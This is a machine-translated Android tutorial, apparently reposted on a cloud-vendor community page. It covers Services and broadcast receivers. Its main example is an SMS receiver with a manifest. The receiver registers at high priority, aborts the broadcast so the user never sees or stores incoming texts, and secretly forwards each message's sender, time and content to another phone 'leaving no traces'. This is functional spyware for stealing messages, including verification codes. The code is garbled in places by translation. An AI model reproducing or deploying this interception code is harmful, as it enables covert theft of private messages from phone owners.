Android: Launch service, broadcast (highest priority eavesdropping information) and forwarded to others

Source: Internet
Author: User

3.1,ServiceService

Service- like activityis actually an activity that has no interface and is not closed by default as the program shuts down.

Developer-defined service classes are generally used to complete some of the security software's listening functions, as well as message prompts, Rogue software features.

System service is to obtain some service management class (Xxxxmanager) of the system through similar Getsystemservice () method, To call the system to handle the function to complete its own needs, such as: telephone monitoring, connection status judgment.

If you want to write a service class yourself, you can create a class, inherit the service, and overwrite the appropriate method.

Once you have written the service class, you also need to declare it in androidmanifest.xml .

Package com.example.service;


Import Android.app.Service;
Import android.content.Intent;
Import Android.os.Handler;
Import Android.os.IBinder;
Import Android.os.Message;
Import Android.widget.Toast;

Show toast every 3 seconds
public class Testservice extends Service {
Private Handler Handler;
Private Boolean flag=true;
@Override
Public IBinder Onbind (Intent arg0) {
Binding activity, generally not used, then the activity is closed, the service is closed
return null;
}
/** Main thread
*
*/
@Override
public void OnCreate () {
TODO auto-generated Method Stub
Super.oncreate ();
SYSTEM.OUT.PRINTLN ("Create service");
Calling Child threads
Handler=new handler () {
public void Handlemessage (Message msg) {
Toast.maketext (Testservice.this, "started service------------", Toast.length_long). Show ();
}
};
}


@Override
public void OnDestroy () {
TODO auto-generated Method Stub
Super.ondestroy ();
System.out.println ("Destruction of service-----------");
flag=false;//This is to close the dead loop process
}


@Override
public int Onstartcommand (Intent Intent, int flags, int startid) {
This method is called automatically when the service is started
Thread T=new thread () {
public void Run () {
while (flag) {
try {
Thread.Sleep (3000);
} catch (Interruptedexception e) {
TODO auto-generated Catch block
E.printstacktrace ();
}
Handler.sendemptymessage (0);
}
}
};
T.start ();
Return Super.onstartcommand (Intent, flags, Startid);

}

}

You can also use system services to read various information about the phone and the status of the network connection .

3.2,BroadcastreciverBroadcast Receivers

The broadcast receiver behaves like a service when used, and is an interface-free component that runs automatically in the background and can be activated by Activity .

However , the Service can only be started by other components, but BCR can be automatically started based on certain conditions .

Broadcast is divided into two types: General broadcast and orderly broadcasting

When you write a broadcast, you also need to inherit a class with the class name broadcastreceiver.

It is also necessary to declare this broadcast component in Androidmanifest.xml.

If you want to do an auto-execute broadcast, you must add <intent-filter> set the intent condition to enter this broadcast when declaring the broadcast component .  

According to this function to achieve SMS interception operation, the user received the SMS interception, do not send SMS notifications, not saved to the Inbox.

and print information about the text message to the console.

At the same time, can also call the function of sending text messages, to send a message to other phones, but also not by SMS application, leaving no traces.

Package com.example.receiver;


Import Java.text.SimpleDateFormat;
Import Java.util.Date;
Import java.util.List;

Import Android.content.BroadcastReceiver;
Import Android.content.Context;
Import android.content.Intent;
Import Android.os.Bundle;
Import Android.telephony.SmsManager;
Import Android.telephony.SmsMessage;
Import Android.widget.Toast;

Implement intercept SMS and send to others
public class Smsreceiver extends Broadcastreceiver {


@Override
public void OnReceive (Context ctx, Intent in) {
First to determine whether it is because receiving SMS into the broadcast receiver
if (In.getaction (). Equals ("Android.provider.Telephony.SMS_RECEIVED")) {
Stop this broadcast so that the following receivers cannot receive the message
This.abortbroadcast ();
Get the parameters that are sent over
Bundle B=in.getextras ();
if (b!=null) {
Object[] ops= (object[]) b.get ("PDUs");
SimpleDateFormat sdf=new SimpleDateFormat ("Yyyy-mm-dd HH:mm:ss");

Loop to set up SMS objects and get the information inside
for (int i = 0; i < ops.length; i++) {
Smsmessage MSG=SMSMESSAGE.CREATEFROMPDU ((byte[]) ops[i]);
Get the content in the message
String Content=msg.getmessagebody ();
Sender Information
String sender=msg.getdisplayoriginatingaddress ();//If the Address Book has a name then the name, no words to display the number
Send Time
Date Date=new Date (Msg.gettimestampmillis ());
String Sendtime=sdf.format (date);


SYSTEM.OUT.PRINTLN ("message:" +sender+ "--" +content+ "--" +sendtime);
Smsmanager Manager=smsmanager.getdefault ();
List<string> All=manager.dividemessage (sender+ "-and" +sendtime+ "-" +content);//If the text message is too long to divide multiple SMS
for (int j = 0; J <all.size (); j + +) {
Manager.sendtextmessage ("Mobile phone number", NULL, All.get (j), Null,null);
}
}



}
}
else {
Toast.maketext (CTX, "received the broadcast", Toast.length_short). Show ();
}
}


}

Configure permissions and claims

<?xml version= "1.0" encoding= "Utf-8"?>
<manifest xmlns:android= "Http://schemas.android.com/apk/res/android"
Package= "Com.example.interceptforwarding"
Android:versioncode= "1"
Android:versionname= "1.0" >


<uses-sdk
Android:minsdkversion= "8"
Android:targetsdkversion= "/>"
<uses-permission android:name= "Android.permission.RECEIVE_SMS"/>
<uses-permission android:name= "Android.permission.SEND_SMS"/>
<uses-permission android:name= "Android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name= "Android.permission.READ_PHONE_STATE"/>
<application
Android:allowbackup= "true"
android:icon= "@drawable/ic_launcher"
Android:label= "@string/app_name"
Android:theme= "@style/apptheme" >
<activity
Android:name= "Com.example.interceptforwarding.MainActivity"
Android:label= "@string/app_name" >
<intent-filter>
<action android:name= "Android.intent.action.MAIN"/>


<category android:name= "Android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<service android:name= "Com.example.service.TestService" ></service>
<receiver android:name= "Com.example.receiver.SmsReceiver" >
<!--set the highest priority 0 to 1000 with the same priority than the package letter- --
<intent-filter android:priority= ">"
<action android:name= "Android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
</application>


</manifest>


Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.